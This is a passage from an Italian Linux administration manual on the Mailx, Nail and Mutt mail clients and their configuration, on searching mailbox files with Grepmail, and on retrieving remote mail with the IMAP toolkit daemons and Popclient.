  >   1 root@dinkel.brot.  Thu Mar 28 22:02   22/845   Debconf: OpenLDAP
      2 caio@dinkel.brot.  Sat Aug 24 09:23   15/484   Vado in ferie

& 2 [Invio]

  Message 2:
  From caio@dinkel.brot.dg Sat Aug 24 09:23:39 2002
  To: tizio@dinkel.brot.dg
  Subject: Vado in ferie
  From: caio@dinkel.brot.dg
  Date: Sat, 24 Aug 2002 09:23:39 +0200

  Ciao Tizio,
  ti scrivo solo per avvisarti che parto per una settimana
  e durante tale periodo non potrò leggere la posta.
  A presto,
  Caio

& q [Invio]

  Saved 1 message in /home/tizio/mbox
  Held 1 message in /home/tizio/mail/inbox
```

Gestione della posta ricevuta

Dopo aver letto un messaggio, lo si può cancellare con il comando '**`delete`**' ('**`d`**') o si può rispondere con il comando '**`reply`**' ('**`r`**'). La cancellazione della posta non è irreversibile. Di solito si possono recuperare dei messaggi attraverso il comando '**`undelete`**' ('**`u`**'); però i messaggi cancellati risultano di fatto invisibili.

Si distinguono due tipi di risposta che fanno riferimento a due comandi simili: '**`replay`**' ('**`r`**') e '**`Replay`**' ('**`R`**'). Nel primo caso la risposta viene inviata al mittente e a tutto l'elenco dei destinatari del messaggio di origine, mentre nel secondo la risposta va esclusivamente al mittente del messaggio di origine.

Gruppi di messaggi

Alcuni comandi di '**`mail`**' accettano l'indicazione di gruppi di messaggi. Per esempio, '**`delete 1 5`**' cancella i messaggi numero uno e numero cinque, '**`delete 1-5`**' cancella i messaggi dal numero uno al numero cinque. L'asterisco ('**`*`**') viene utilizzato per identificare tutti i messaggi, mentre il simbolo '**`$`**' rappresenta l'ultimo messaggio. Un caso tipico di utilizzo dell'asterisco come gruppo totale dei messaggi è il seguente: '**`top *`**' che permette così di visualizzare le prime righe di tutti i messaggi ricevuti.

Conclusione dell'elaborazione della posta

Per concludere la sessione di lavoro con '**`mail`**' è sufficiente utilizzare il comando '**`quit`**' ('**`q`**'). Di solito, salvo intervenire nella configurazione, la posta letta (e non segnata per la cancellazione) viene trasferita nel file '`~/mbox`', mentre quella non letta rimane nella cartella originale.

45.7.2 Configurazione di Mailx

Si è già accennato al fatto che Mailx utilizzi due file di configurazione: '`/etc/mail.rc`' per tutto il sistema e '`~/.mailrc`' per le particolarità di ogni utente. Le direttive di questo file sono gli stessi comandi che possono essere impartiti a '**`mail`**' durante il suo funzionamento interattivo.

In generale, si utilizzano prevalentemente i comandi '**`set`**' e '**`unset`**', i quali permettono l'attivazione o la disattivazione di alcune modalità di funzionamento, consentendo anche la definizione di alcune opzioni che prevedono l'indicazione di un'informazione precisa. Segue la descrizione di alcune modalità di funzionamento controllate dai comandi '**`set`**' e '**`unset`**'.

Direttiva	Descrizione
`set append` `unset append`	L'attivazione di questa modalità fa sì che i messaggi salvati nel file '`~/mbox`' siano aggiunti in coda, invece che inseriti all'inizio.

`set ask`
`unset ask`
`set asksub`
`unset asksub`
	L'attivazione di questa modalità fa sì che sia richiesta l'indicazione dell'oggetto prima di consentire l'inserimento del testo del messaggio.

`set askcc` `unset askcc`	L'attivazione di questa modalità fa sì che sia richiesta l'indicazione di destinatari aggiuntivi in copia carbone alla fine dell'inserimento del messaggio.
`set askbcc` `unset askbcc`	L'attivazione di questa modalità fa sì che sia richiesta l'indicazione di destinatari aggiuntivi in copia carbone nascosta ('**`bcc`**') alla fine dell'inserimento del messaggio.
`set dot` `unset dot`	L'attivazione di questa modalità fa sì che sia consentito l'uso di un punto isolato per terminare l'inserimento di un messaggio.
`set hold` `unset hold`	L'attivazione di questa modalità fa sì che i messaggi letti nella cartella siano conservati (senza trasferirli in '`~/mbox`'), se questi non vengono cancellati esplicitamente.
`set ignoreeof` `unset ignoreeof`	L'attivazione di questa modalità fa sì che non sia permesso l'uso del codice di EOF ([*Ctrl d*]) per terminare l'inserimento di un messaggio.

Segue la descrizione di altre opzioni.

Direttiva	Descrizione
`set EDITOR=`***programma***	Permette di definire il percorso assoluto del programma che si vuole utilizzare per la modifica del testo di un messaggio, quando viene richiesto espressamente durante il suo inserimento, attraverso la sequenza di escape '**`~e`**'.

Direttiva	Descrizione
`set VISUAL=`***programma***	Permette di definire il percorso assoluto del programma che si vuole utilizzare per la modifica del testo di un messaggio, quando viene richiesto espressamente durante il suo inserimento, attraverso la sequenza di escape '**`~v`**'.
`set PAGER=`***programma***	Permette di definire il percorso assoluto del programma che si vuole utilizzare per scorrere il contenuto di un messaggio. Perché funzioni correttamente, occorre definire anche l'opzione '**`crt`**'.
`set crt=`***n-righe***	Permette di definire il numero di righe di altezza dello schermo, in modo da poter gestire correttamente il programma di impaginazione visuale ('**`more`**' o '**`less`**').
`set MBOX=`***percorso***	Permette di definire il percorso assoluto del file da utilizzare per salvare i messaggi, al posto di '`~/mbox`'.
`set record=`***percorso***	Permette di definire il percorso assoluto di un file da utilizzare per salvare una copia dei messaggi che vengono inviati.
`set folder=`***percorso***	Permette di definire il percorso assoluto di una directory contenenti file corrispondenti a cartelle di messaggi.

Segue la descrizione di alcuni esempi.

```
set append dot save asksub
```

Quello che si vede sopra è il contenuto del file di configurazione generale tipico (il file '`/etc/mail.rc`').

```
set MBOX=/home/tizio/mail/ricevuta
set record=/home/tizio/mail/spedita
set folder=/home/tizio/mail
```

L'esempio si riferisce a un file di configurazione personale, ovvero '`~/.mailrc`', dove l'utente vuole gestire la sua posta nella directory '`~/mail/`' (si tratta dell'utente '**`tizio`**'), dove possono trovarsi anche altri file intesi come cartelle di messaggi.

```
set MBOX="$HOME/mail/ricevuta"
set record="$HOME/mail/spedita"
set folder="$HOME/mail"
```

Questo esempio produce lo stesso risultato di quello precedente, con la differenza che i percorsi includono la variabile di ambiente ***HOME***, la quale si espande nella directory personale dell'utente; in questo modo, tale configurazione potrebbe anche essere generalizzata e inserita nel file '`/etc/mail.rc`'.

45.7.3 Nail

Nail[4] è un programma funzionalmente simile a Mailx, ma in più consente l'uso di allegati MIME ed è in grado di servirsi direttamente di un servente SMTP per l'invio dei messaggi.

Anche la configurazione è compatibile con quella di Mailx, tanto che viene utilizzato lo stesso file '`~/.mailrc`' per gli utenti, mentre la configurazione generale è contenuta nel file '`/etc/nail.rc`' per sicurezza.

45.8 Mutt

Mutt[5] è un programma per la gestione della posta per terminali a caratteri, più amichevole rispetto a Mailx e simili. Per l'invio dei messaggi, Mutt utilizza '`/usr/sbin/sendmail`', oppure può avvalersi di un programma differente, ma con lo stesso comportamento, purché specificato nella configurazione. In pratica, Mutt non gestisce da solo il protocollo SMTP.

Mutt si compone dell'eseguibile '**`mutt`**', il quale di solito si avvia senza argomenti, e prevede la presenza di diversi file di configurazione; in particolare '`/etc/Muttrc`' per tutto il sistema e '`~/.muttrc`' (o '`~/.mutt/muttrc`') per le particolarità dei singoli utenti.

Una caratteristica molto importante di Mutt è la capacità di gestire formati differenti per le cartelle di posta elettronica. In particolare, il formato predefinito è attualmente il tipo *mailbox*, il quale consente un utilizzo simultaneo ad altri MUA tradizionali.

La configurazione di Mutt prevede direttive di vari tipi; in particolare si distinguono quelle che servono a definire delle «variabili», perché iniziano con la parola chiave '**`set`**'. La tabella seguente descrive alcune di queste direttive che vale la pena di conoscere per modificare l'impostazione predefinita della configurazione. Si osservi che Mutt può utilizzare direttamente i protocolli POP3 e IMAP, ma la configurazione relativa non viene mostrata.

Tabella 45.19. Alcune direttive di configurazione di Mutt.

Direttiva	Descrizione
`set mbox_type="mbox|MMDF|MH|Maildir"`	Definisce il tipo di cartelle di posta. Quello tradizionale è indicato attraverso la parola chiave '**`mbox`**'.
`set spoolfile="`***file***`"`	Definisce il percorso che identifica il file contenente i messaggi di posta in ingresso. In mancanza di questa indicazione, Mutt utilizza il contenuto della variabile di ambiente ***MAIL***.
`set mbox="`***file***`"`	Definisce il percorso che identifica il file in cui vanno collocati i messaggi letti. In mancanza di questa indicazione, Mutt utilizza il file '`~/mbox`'.
`set record="`***file***`"`	Definisce il percorso che identifica il file in cui vanno collocati i messaggi inviati.
`set postponed="`***file***`"`	Definisce il percorso che identifica il file in cui vanno collocati i messaggi sospesi (da completare o inviare in seguito).
`set folder="`***directory***`"`	Definisce il percorso che identifica una directory in cui cercare le cartelle di posta. In mancanza di questa indicazione, Mutt utilizza la directory '`~/Mail/`'.

Direttiva	Descrizione
`set signature="`***file***`"` `set signature="`***comando***`|"`	Definisce il percorso che identifica un file il cui contenuto va aggiunto automaticamente in coda ai messaggi da inviare, come «firma». In mancanza di questa indicazione, Mutt utilizza il file '`~/.signature`'. Come si vede dal modello sintattico, se il file termina con una barra verticale ('`|`'), si intende trattarsi dello standard output di un comando, da usare per ottenere qualcosa di dinamico.
`set editor="`***comando***`"`	Definisce il programma da usare per la creazione e la modifica di file di testo; principalmente per scrivere e modificare i messaggi di posta elettronica da inviare. Se non è indicato, si fa riferimento alle variabili di ambiente ***VISUAL***, ***EDITOR***, o in mancanza al programma '`/usr/bin/editor`'.
`set attribution="`***stringa***`"`	Definisce la stringa da inserire prima di un testo citato. In mancanza di questa indicazione si usa la stringa: '**`On %d, %n wrote:`**'. Si possono usare le sequenze descritte in parte nella tabella 45.20.
`set indent_string="`***stringa***`"`	Definisce la stringa da usare per evidenziare il testo citato del messaggio a cui si risponde. In mancanza di questa indicazione si usa il simbolo di maggiore seguito da uno spazio: '**`> `**'. Si possono usare le sequenze descritte in parte nella tabella 45.20.
`set use_from="yes|no"`	Abilita o disabilita l'inserimento automatico del nominativo utente nel campo '**`From:`**'. Al posto di abilitare questa funzionalità, si può usare la direttiva '**`my_hdr`**' per definire il campo '**`From:`**' in modo preciso.
`my_hdr` ***nome***`:` ***valore***	Dichiara un campo particolare dell'intestazione, con il valore da assegnare (si usa preferibilmente nella configurazione personalizzata del singolo utente).
`my_hdr From:` ***nome_utente*** <***indirizzo***>	Dichiara in modo preciso il campo '**`From:`**' (conviene usare questa dichiarazione soltanto nella configurazione personalizzata del singolo utente).

Tabella 45.20. Alcune sequenze speciali che vengono sostituite da Mutt all'interno delle stringhe.

Macro	Risultato
`%a`	Indirizzo dell'autore del messaggio.
`%d`	Data e orario del messaggio dal punto di vista del mittente.
`%D`	Data e orario del messaggio dal punto di vista locale.
`%f`	Contenuto del campo '**`From:`**'.
`%n`	Nome dell'autore, o in mancanza si fa riferimento all'indirizzo di posta elettronica dello stesso.
`%s`	Oggetto del messaggio.
`%t`	Contenuto del campo '**`To:`**'.

Avviando l'eseguibile '**`mutt`**' la prima volta, è probabile che si veda la richiesta di creare la directory da usare per contenere le cartelle di posta; quindi si accede normalmente all'elenco dei messaggi disponibili nella cartella di posta in entrata, come si vede nella figura 45.21.

Figura 45.21. Aspetto di Mutt all'avvio.

```
q:Quit  d:Del  u:Undel  s:Save  m:Mail  r:Reply  g:Group  ?:Help
   1     Apr 26 Fulvio Ferroni  (  31) Re: Nano OK
   2     Apr 27 Tizio Tizi      (   4) Bla bla bla















---Mutt: ~/mail/mbox [Msgs:2 Post:2 3.4K]---(threads/date)------(all)---
```

Il funzionamento di Mutt dipende dalla localizzazione, pertanto alcune risposte da dare alle domande che vengono proposte richiedono lettere differenti a seconda di questa. La figura mostra in particolare il funzionamento per le convenzioni della lingua inglese, dove si vede la presenza di due soli messaggi.

Quando Mutt si trova in una condizione del genere, ovvero quando mostra l'elenco di messaggi contenuto in una certa cartella (la figura mostra la cartella corrispondente al file '`~/mail/mbox`'), si dice che è in modalità «indice». Durante questa modalità di funzionamento, possono essere impartiti dei comandi, costituiti generalmente da lettere singole, una piccola parte dei quali viene riassunta sulla prima riga dello schermo. La tabella 45.22 descrive brevemente parte dei comandi validi quando appare un elenco di messaggi. Si osservi che la maggior parte

dei comandi richiede poi una conferma o l'indicazione di altri dati, attraverso messaggi che appaiono nell'ultima riga dello schermo.

Tabella 45.22. Alcuni comandi validi quando si sta scorrendo un elenco di messaggi.

Tasto, sequenza o combinazione di tasti	Termine mnemonico	Descrizione
[*m*]	*mail*	Richiede di scrivere un messaggi di posta elettronica. Se sono disponibili messaggi rimasti in sospeso, viene richiesto se si intendono riprendere.
[*r*]	*reply*	Risponde al mittente del messaggio evidenziato.
[*b*]	*bounce*	Invia una copia del messaggio a un altro indirizzo.
[*f*]	*forward*	Rinvia una copia del messaggio a un altro indirizzo.
[*g*]	*group*	Risponde al mittente e a tutti i destinatari del messaggio evidenziato.
[*L*]	*list*	Risponde all'indirizzo che sembra appartenere a una lista di posta elettronica, indicato nel messaggio evidenziato.
[*c*]	*change*	Passa a un'altra cartella di messaggi. Viene richiesto di indicare il nome della cartella, oppure è possibile selezionarla da un elenco.
[*Esc*][*c*]	*change*	Passa a un'altra cartella di messaggi, ma in sola lettura.
[*C*]	*copy*	Copia il messaggio corrente in un'altra cartella di posta.
[*d*]	*delete*	Cancella il messaggio corrente.
[*u*]	*undelete*	Toglie la richiesta di cancellazione al messaggio corrente.
[*o*]	*order*	Cambia il metodo di riordino dei messaggi.
[*O*]	*order*	Inverte l'ordine dei messaggi (in base al tipo di ordinamento attuale).
[*q*]	*quit*	Salva le modifiche e conclude il funzionamento di Mutt.
[*x*]	*exit*	Annulla le modifiche e termina il funzionamento.
[*Invio*]		Visualizza il messaggio selezionato.
[*v*]	*view*	Visualizza gli allegati.
[*/*]		Cerca una stringa (da inserire subito dopo), tra i dati che si vedono nell'elenco.
[*p*]	*print*	Stampa il messaggio selezionato.
[*Ctrl l*]		Ridisegna lo schermo.

Come si vede dalla tabella 45.22, per inviare un messaggio si comincia dal premere il tasto [*m*] (*mail*); viene richiesto di inserire l'indirizzo di destinazione e l'oggetto, quindi si passa all'inserimento del testo del messaggio, attraverso un programma per la modifica di file di testo. Al termine della stesura del testo, lo si deve salvare e quindi è necessario uscire da quel programma, per ritornare sotto il controllo di Mutt, il quale potrebbe mostrare una schermata simile a quella seguente:

Figura 45.23. Aspetto di Mutt dopo l'inserimento di un messaggio e prima del suo invio.

```
y:Send  q:Abort  t:To  c:CC  s:Subj  a:Attach file  d:Descrip  ?:Help
    From:
      To: daniele@dinkel.brot.dg
      Cc:
     Bcc:
 Subject: ciao
Reply-To:
     Fcc: ~/mail/sentbox
     Mix: <no chain defined>
Security: Clear

-- Attachments
- I   1 /tmp/mutt-dinkel-3562-24    [text/plain, 8bit, iso-8859-1, 0.1K]



-- Mutt: Compose  [Approx. msg size: 0.1K   Atts: 1]-------------------
```

Come si può vedere, non appare più il corpo del messaggio, che invece viene indicato come allegato. Per tornare alla modifica del messaggio basta premere la lettera [*e*] (*edit*), per spedire il messaggio si usa la lettera [*y*], mentre per completare altri campi dell'intestazione si usano comandi simili. La tabella 45.24 riepiloga i comandi più importanti, validi in questo contesto.

Tabella 45.24. Alcuni comandi validi quando si sta componendo un messaggio di posta elettronica.

Tasto, sequenza o combinazione di tasti	Termine mnemonico	Descrizione
[*e*]	*edit*	Torna alla modifica del messaggio.
[*q*]	*quit*	Annulla il messaggio e torna alla situazione precedente all'inserimento, con la possibilità di mantenere in sospeso il messaggio.
[*t*]	*to*	Modifica il destinatario.
[*Esc*][*f*]	*from*	Modifica il campo '**`From:`**'.
[*c*]	*cc*	Inserisce o modifica il campo '**`Cc:`**'.
[*b*]	*bcc*	Inserisce o modifica il campo '**`Bcc:`**'.
[*f*]	*fcc*	Inserisce o modifica il campo '**`Fcc:`**', ovvero l'indicazione del file in cui salvare il messaggio, una volta spedito.
[*s*]	*subject*	Inserisce o modifica l'oggetto.
[*r*]	*reply-to*	Inserisce o modifica il campo '**`Reply-To:`**'.
[*a*]	*append*	Allega un file al messaggio.
[*D*]	*delete*	Elimina l'allegato o il messaggio selezionato.
[*d*]	*description*	Modifica la descrizione del messaggio o dell'allegato evidenziato.
[*y*]	*yes*	Invia il messaggio.
[*P*]	*postpone*	Sospende il messaggio, conservandolo per un secondo momento.
[*Ctrl l*]		Ridisegna lo schermo.

Da un elenco di messaggi si passa alla visualizzazione di quello selezionato premendo sempli-

cemente [*Invio*]; durante la visualizzazione di un messaggio, è possibile rispondere allo stesso premendo il tasto [*r*], oppure fare altre cose come descritto nella tabella 45.25.

Tabella 45.25. Alcuni comandi validi quando si sta visualizzando un messaggio.

Tasto, sequenza o combinazione di tasti	Termine mnemonico	Descrizione
[*q*]	*quit*	Annulla e torna alla situazione precedente.
[*r*]	*reply*	Risponde al mittente del messaggio visualizzato.
[*g*]	*group*	Risponde al mittente e a tutti i destinatari del messaggio visualizzato.
[*L*]	*list*	Risponde all'indirizzo che sembra appartenere a una lista di posta elettronica, indicato nel messaggio visualizzato.
[*b*]	*bounce*	Invia una copia del messaggio a un altro indirizzo.
[*f*]	*forward*	Rinvia una copia del messaggio a un altro indirizzo.
[*h*]	*header*	Mostra l'intestazione completa del messaggio, o ritorna all'intestazione ridotta.
[*p*]	*print*	Stampa il messaggio visualizzato.
[*Ctrl l*]		Ridisegna lo schermo.

45.9 Configurazione compatibile tra Mailx, Nail e Mutt

In questa sezione si vuole mostrare in che modo si possono configurare Mailx, Nail e Mutt, per consentire il loro utilizzo in modo indifferente, sulle stesse cartelle di messaggi.

Per prima cosa si deve decidere in quale directory devono essere contenuti i file, in formato *mailbox*, delle cartelle. Si suppone di usare la directory '`~/mail/`' per tutti gli utenti del sistema, stabilendo anche che la posta in ingresso viene consegnata nel file '`~/mail/inbox`'.

In generale, per informare della presenza della cartella dei messaggi in ingresso basta impostare la variabile di ambiente ***MAIL***. Per intervenire su tutti gli utenti si può intervenire nel file '`/etc/profile`' (nel caso di una shell compatibile con quella di Bourne), come in questo esempio:

```
MAIL="$HOME/mail/inbox"
export MAIL
```

Naturalmente, si deve provvedere a configurare anche il sistema di consegna locale dei messaggi, in modo che funzioni così, altrimenti la posta potrebbe risultare inserita in file all'interno della directory '`/var/mail/`', o '`/var/spool/mail/`', nonostante tutte le buone intenzioni.

Il passo successivo è la definizione di alcune cartelle, più o meno standard. Per esempio è necessario stabilire la collocazione della posta inviata, di quella che è in coda e di quella che è stata solo abbozzata (iniziata ma non completata). Si potrebbe stabilire questa associazione:

Cartella	File corrispondente
posta in ingresso	'`~/mail/inbox`'
posta in uscita o in coda per l'invio	'`~/mail/outbox`'
posta spedita	'`~/mail/sentbox`'
posta letta	'`~/mail/readbox`'

Cartella	File corrispondente
bozze di messaggi da trasmettere	'~/mail/draftbox'
messaggi in attesa di essere eliminati	'~/mail/trash'

Non tutti i programmi che si intendono utilizzare richiedono così tante cartelle, ma almeno sono in grado di accedervi.

Si può stabilire anche l'uso di un file contenente una «firma», ovvero alcune righe da accodare a tutti i messaggi che vengono trasmessi. Per esempio, si può stabilire che debba trattarsi del contenuto del file '~/.signature'.

Segue la porzione di configurazione da usare sia per il file '/etc/mail.rc', sia per '/etc/nail.rc', in favore di Mailx e di Nail:

```
set append
set folder="$HOME/mail"
set MBOX="$HOME/mail/readbox"
set record="$HOME/mail/sentbox"
```

In questo modo, Mailx e Nail traggono la posta in ingresso dal file '~/mail/inbox', perché così è annotato nella variabile di ambiente ***MAIL***; inoltre i messaggi letti e quelli trasmessi vengono inseriti correttamente nelle cartelle previste. L'accesso alle altre cartelle di messaggi risulta comunque facilitato perché è stata indicata la directory '~/mail/' in modo predefinito.

Nel caso particolare di Nail, si può aggiungere anche l'indicazione del file da usare come firma:

```
set signature="$HOME/.signature"
```

Per quanto riguarda Mutt, si può intervenire nel file '/etc/Muttrc':

```
set mbox_type="mbox"
set record="~/mail/sentbox"
set spoolfile="~/mail/inbox"
set mbox="~/mail/readbox"
set postponed="~/mail/draftbox"
set folder="~/mail/"
```

Eventualmente, se si vuole evitare che Mutt sposti la posta letta in modo automatico nella cartella relativa, è sufficiente indicare per questo la stessa cartella dei messaggi in ingresso:

```
set mbox_type="mbox"
set record="~/mail/sentbox"
set spoolfile="~/mail/inbox"
set mbox="~/mail/inbox"
set postponed="~/mail/draftbox"
set folder="~/mail/"
```

45.10 Ricerche nei file delle cartelle di messaggi

I file delle cartelle di posta elettronica in formato *mailbox*, sono file di testo organizzati secondo una certa struttura. All'interno di questi file è possibile eseguire delle ricerche con Grep, ma il vero problema è quello di identificare il messaggio che contiene la stringa o l'espressione cercata. Per questo conviene usare invece Grepmail,[6] ovvero un programma Perl che restituisce il messaggio intero e non soltanto la riga che corrisponde al modello di ricerca.

Grepmail non si limita a questo, consentendo anche una ricerca selettiva nel corpo dei messaggi, nell'oggetto, escludendo eventualmente gli allegati. Il suo utilizzo più semplice è quello rappresentato dall'esempio seguente:

$ **grepmail "Tizi[oa]" ~/mail/sentbox | less** [*Invio*]

In questo caso si cercano tutti i messaggi contenuti nel file '`~/mail/sentbox`' che corrispondono in qualche modo con l'espressione regolare '**`Tizi[oa]`**'. Con l'ausilio di '**`less`**', si scorrono facilmente sullo schermo.

Trattandosi di un programma scritto in Perl, le espressioni regolari che si possono utilizzare devono avere le caratteristiche di questo linguaggio di programmazione.

grepmail [*opzioni*] [-e] ***espressione_regolare*** [***file_cartella_messaggi***]...

Il modello sintattico mostra due particolarità: l'espressione regolare può essere indicata da sola oppure come argomento dell'opzione '**`-e`**'; i file delle cartelle dei messaggi possono essere forniti come argomenti finali della riga di comando, ma in loro mancanza, viene letto lo standard input. La tabella 45.32 riepiloga le altre opzioni più importanti.

Tabella 45.32. Opzioni più importanti di Grepmail.

Opzione	Descrizione
`-b`	Esegue la ricerca esclusivamente nel corpo dei messaggi.
`-h`	Esegue la ricerca esclusivamente nell'intestazione del messaggi.
`-i`	Non distingue tra lettere maiuscole e minuscole.
`-l`	Emette solo il nome del file contenente i messaggi corrispondenti.
`-M`	Ignora gli allegati MIME di tipo binario.
`-R`	Cerca ricorsivamente nelle sottodirectory.
`-v`	Cerca i messaggi che **non** corrispondono al modello.
`-d today`|`yesterday`	Seleziona solo i messaggi di oggi o di ieri.
`-d` ***mm*** / ***gg*** / ***aaaa***	Seleziona solo i messaggi di una certa data.
`-d` {***n*** `days ago`|***n*** `weeks ago`}	Seleziona solo i messaggi di ***n*** giorni o settimane fa.

Opzione	Descrizione
`-d {before|after|since}`*data*	I messaggi più vecchi, più recenti, o a partire da una data di riferimento.
`-d between` *data* `and` *data*	Seleziona solo i messaggi compresi tra due date.
`-e` *espressione_regolare*	Dichiara espressamente il modello di ricerca.

Vengono mostrati solo alcuni esempi.

```
$ grepmail -h -i "From:  .*pinco@dinkel.brot.dg" ~/mail/* | less [Invio]
```

Cerca tutti i messaggi nella directory '`~/mail/`' che sono stati inviati presumibilmente da *`pinco@dinkel.brot.dg`*. Il risultato viene fatto scorrere con l'aiuto di '**`less`**'.

```
$ grepmail -h -i "From:  .*pinco@dinkel.brot.dg" ~/mail/* > pinco [Invio]
```

```
$ grepmail -h -i -v "From:  .*pinco@dinkel.brot.dg" ~/mail/* ↩
↪        > altri [Invio]
```

I due comandi servono a estrarre tutti i messaggi provenienti presumibilmente da *`pinco@dinkel.brot.dg`*, per generare il file '`pinco`', mettendo tutto il resto in un file denominato '`altri`'.

```
$ grepmail -h -d "since 7 days ago" -i ↩
↪         -e "From:  .*pinco@dinkel.brot.dg" ~/mail/* | less [Invio]
```

Cerca tutti i messaggi nella directory '`~/mail/`' che sono stati inviati presumibilmente da *`pinco@dinkel.brot.dg`* entro gli ultimi sette giorni. Il risultato viene fatto scorrere con l'aiuto di '**`less`**'.

45.11 Messaggi giunti presso recapiti remoti

I messaggi di posta elettronica non vengono sempre recapitati presso l'elaboratore che si utilizza abitualmente. Per trasferire la posta da un recapito a un altro, si usa solitamente il protocollo POP3 (a volte POP2) oppure IMAP. Come si può immaginare, si tratta di un servizio che deve essere gestito da un demone.

Il modo con cui vengono scaricati messaggi e inseriti nel sistema locale ha dei risvolti importanti. Infatti, questi messaggi possono essere scaricati in un file locale, corrispondente di norma alla cartella della posta in ingresso dell'utente, il quale può leggerla attraverso Mailx o un altro programma che sfrutta lo stesso meccanismo. In alternativa, i messaggi potrebbero essere inseriti nel sistema locale attraverso un servizio SMTP.

Dei protocolli principali utilizzati per il prelievo e per l'invio dei messaggi, esistono delle «varianti» che prevedono una comunicazione cifrata. In realtà, si tratta degli stessi protocolli, che però si inseriscono a loro volta nel protocollo SSL, pertanto si utilizzano le sigle POP3s, IMAPs e sSMTP per identificarli. Si veda eventualmente la sezione 49.4 a proposito di SSL/TLS.

Ricapitolando, i messaggi di posta elettronica prelevati da un recapito remoto, possono essere:

1. scaricati in un file locale che rappresenta la cartella della posta in ingresso dell'utente per cui si svolge l'operazione;
2. inviati nuovamente attraverso l'MDA locale;
3. inviati nuovamente attraverso un servente SMTP locale, o comunque uno più «vicino».

Ognuna delle scelte possibili ha dei vantaggi e degli svantaggi. Il primo tipo di operazione, non richiede la presenza di un servente SMTP locale e nemmeno di un MDA, cioè di un *Mail delivery agent*, per la consegna locale dei messaggi. Così si presta perfettamente all'uso presso nodi isolati che possono connettersi a Internet solo saltuariamente. Il secondo tipo di operazione richiede la presenza di un MDA, composto generalmente da un programma in grado di ricevere i messaggi attraverso lo standard input, il quale poi sia in grado di recapitarli localmente o eventualmente di farli proseguire altrove attraverso gli alias e i *forward*. Il vantaggio di questa seconda scelta è che per attuarla potrebbe non essere necessario un servizio SMTP locale. L'ultimo caso richiede invece che localmente sia presente un MTA completo, in grado di ricevere le connessioni SMTP.

I motivi per cui non si riceve la posta direttamente nel nodo locale, possono essere vari: la connessione con l'esterno potrebbe essere discontinua; il sistema remoto presso cui giunge la posta per qualche motivo, potrebbe avere delle politiche che impediscono il proseguimento dei messaggi (il *forward*); il sistema locale potrebbe essere irraggiungibile dall'esterno a causa delle politiche di sicurezza adottate, per cui, la posta elettronica potrebbe non essere trasferita localmente, lasciando l'onere a ogni nodo di prelevarsela da un servente principale.

Negli ultimi due tipi di trasferimento, il programma che lo fa interviene come se fosse un MTA vero e proprio. In tal senso, potrebbe essere attivato periodicamente attraverso il sistema Cron, a intervalli brevi, oppure come un demone.

Il prelievo della posta remota è un'operazione personale dell'utente che ha l'accesso presso il sistema remoto. Il programma che si usa per accedere a uno di questi servizi che lo permettono, deve identificarsi in qualche modo; di solito si tratta di fornire l'identità dell'utente remoto e la parola d'ordine. Il fatto di lasciare viaggiare la parola d'ordine in chiaro, attraverso la rete, è un problema da non trascurare: finché la connessione è diretta (o quasi, come nel caso di una linea commutata), il problema è minimo; quando la connessione attraversa più nodi, il problema diventa delicato.

Oltre a questo, occorre considerare che le informazioni delicate come le parole d'ordine non possono apparire in una riga di comando, perché sarebbero leggibili semplicemente analizzando l'elenco dei processi attivi. Per questo, quando si vuole automatizzare il processo di recupero della posta remota senza dover ogni volta inserire la parola d'ordine, questa può essere annotata soltanto in un file di configurazione, protetto opportunamente contro ogni accesso da parte di altri utenti.

45.11.1 IMAP toolkit: ipop3d, ipop2d, imapd

IMAP toolkit è una raccolta di demoni per i servizi di trasferimento della posta locale verso i clienti che lo richiedono, mostrando le credenziali necessarie. Si tratta precisamente dei programmi '**ipop3d**', '**ipop2d**' e '**imapd**'. Permettono rispettivamente di utilizzare i protocolli POP3, POP2 e IMAP. Sono gestiti normalmente dal supervisore dei servizi di rete.[7]

Nell'esempio seguente, vengono mostrate le righe di '`/etc/inetd.conf`' in cui si dichiara il loro possibile utilizzo per quanto riguarda il caso particolare di Inetd:

```
...
pop-2   stream  tcp     nowait  root    /usr/sbin/tcpd  ipop2d
pop-3   stream  tcp     nowait  root    /usr/sbin/tcpd  ipop3d
imap    stream  tcp     nowait  root    /usr/sbin/tcpd  imapd
...
```

In alcune distribuzioni GNU questi tre demoni potrebbero fare parte di un pacchetto unico, mentre in altri casi i pacchetti potrebbero essere distinti in base al servizio particolare che viene offerto.

45.11.2 Popclient

Popclient[8] è un programma molto semplice che permette di scaricare la posta da un recapito remoto utilizzando il protocollo POP2 o POP3, inserendola in un file che corrisponda alla cartella della posta in ingresso dell'utente nel nodo locale, oppure passandola a un MDA (*Mail delivery agent*) che faccia sostanzialmente la stessa cosa. In questo modo, una volta scaricata, la posta può essere letta con un programma tradizionale come Mailx. È importante sottolineare che per questo scopo, non è necessario che sia attivo un servente SMTP locale.[9]

L'eseguibile '**popclient**' va usato secondo la sintassi rappresentata dal modello successivo, considerando che è generalmente opportuno predisporre anche un file di configurazione:

```
popclient [opzioni] [nodo_remoto]
```

Nelle opzioni della riga di comando, si può osservare che non è stata indicata la possibilità di inserire la parola d'ordine: infatti, ciò non è possibile. Per non dover inserire la parola d'ordine ogni volta che si scarica la posta, è necessario predisporre un file di configurazione.

Opzione	Descrizione
`-2`	Viene utilizzato il protocollo POP2.
`-3`	Viene utilizzato il protocollo POP3.
`-k` `--keep`	Copia i messaggi dal servente remoto senza cancellarli da lì.
`-s` `--silent`	Non mostra i messaggi di progressione dell'operazione.
`-v` `--verbose`	Visualizza attraverso lo standard error tutti i messaggi che intercorrono tra il programma e il servente remoto.
`-u` ***utente*** `--username` ***utente***	Permette di specificare il nome dell'utente così come è registrato nel sistema remoto. Il valore predefinito è il nome dell'utente così come è conosciuto nel sistema locale.

Opzione	Descrizione
`-r` ***cartella_remota*** `--remote` ***cartella_remota***	Permette di specificare una cartella della posta nel servente remoto, diversa da quella predefinita. Dipende dal servente remoto se questa cartella alternativa esiste. Questa opzione può essere utilizzata solo con il protocollo POP2.
`-o` ***cartella_locale*** `--local` ***cartella_locale***	Permette di specificare una cartella della posta locale alternativa. Quando non viene specificata una cartella per la posta ricevuta, si intende quella predefinita dal sistema locale.
`-c` `--stdout`	Permette di emettere attraverso lo standard output la posta, invece di utilizzare la cartella della posta.

Popclient può essere configurato in modo personale attraverso il file '`~/.poprc`'. In tal modo, l'utente può predisporre tutti i dati necessari ad automatizzare la connessione, inclusa la parola d'ordine necessaria per l'identificazione presso il servente remoto.

